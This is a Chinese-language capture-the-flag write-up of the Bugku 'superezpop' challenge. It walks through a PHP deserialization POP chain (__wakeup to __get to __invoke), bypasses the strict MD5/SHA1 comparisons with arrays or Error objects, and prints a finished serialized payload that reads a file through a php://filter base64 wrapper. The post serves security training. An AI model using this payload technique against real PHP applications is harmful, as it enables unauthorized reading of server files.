CTF的superezpop题目详解,以及对MD5和SH1绕过的学习

题目来源

BUGku

题目内容

<?php
error_reporting(0);
 
class User{
    public $username;
    public $password;
    public $variable;
    public $a;
    
    public function __construct()
    {
        $this->username = "user";
        $this->password = "user";
    }


    public function __wakeup(){
        if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
            echo "wuhu!";
            return $this->variable->xxx;
        }else{
            die("o^o");
        }
    }
}

class Login{
    public $point;
    
    public function __get($key){
        $func = $this->point;
        return $func();
    }    

}

class Read{
    public $filename;
    
    public function __invoke(){
        echo file_get_contents($this->filename.".php");
    }
}
 
if(isset($_GET['x'])){
    unserialize($_GET['x']);
}else{
    highlight_file(__FILE__);
}
?>

整体思路

题目内容是这样
我们先来看思路,接收到x变量的是序列化的内容,反序列化之后,会调用类的__wakeup 方法,我们需要从创建User的类,来进入if循环内,并且通过

($this->username != $this->password) && (md5($this->username) === 
md5($this->password)) && (sha1($this->username)=== sha1($this->password))

该对比,我们可以看到MD5和SHA1是强比较,具体内容可以参考http://t.csdnimg.cn/g8W1T该博客

我们有两种方法绕过MD5和SHA1的比较

第一种:创建两个数组,并赋值给username和password,因为md5和SHA1对数组识别会有漏洞

$user = new User();
$a=array("1");
$b=array("2");
$user->username = $a;
$user->password = $b;

第二种:用Error错误绕过

$a = new Error($str, 1);
$b = new Error($str, 2);
$user->username = $a;
$user->password = $b;

//其中错误的输出为Error in /box/script.php:53
//Stack trace:
//#0 {main}

当我们绕过MD5之后考虑如果得到flag
我们可以发现
__get($key)函数和__invoke()函数

__get()函数:读取不可访问属性的值时,__get() 会被调用。也就是当想要获取一个类不存在的私有属性时会执行get函数
__invoke()函数:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

所以我们需要先调用get函数,在从get函数中调用invoke函数
所以接下来的代码为:

$login = new Login();
$read= new Read();
$read->filename="php://filter/read=convert.base64-encode/resource=flag";
$login->point=$read;
$user->variable= $login;
echo serialize($user);

结果如下

O:4:"User":4:{s:8:"username";a:1:{i:0;s:1:"1";}s:8:"password";a:1:{i:0;s:1:"2";}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:53:"php://filter/read=convert.base64-encode/resource=flag";}}s:1:"a";N;}

成功拿到flag,
在这里插入图片描述
NUAACTF{y0u_c4n_re3lly_l0g1N!}

  • 18
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值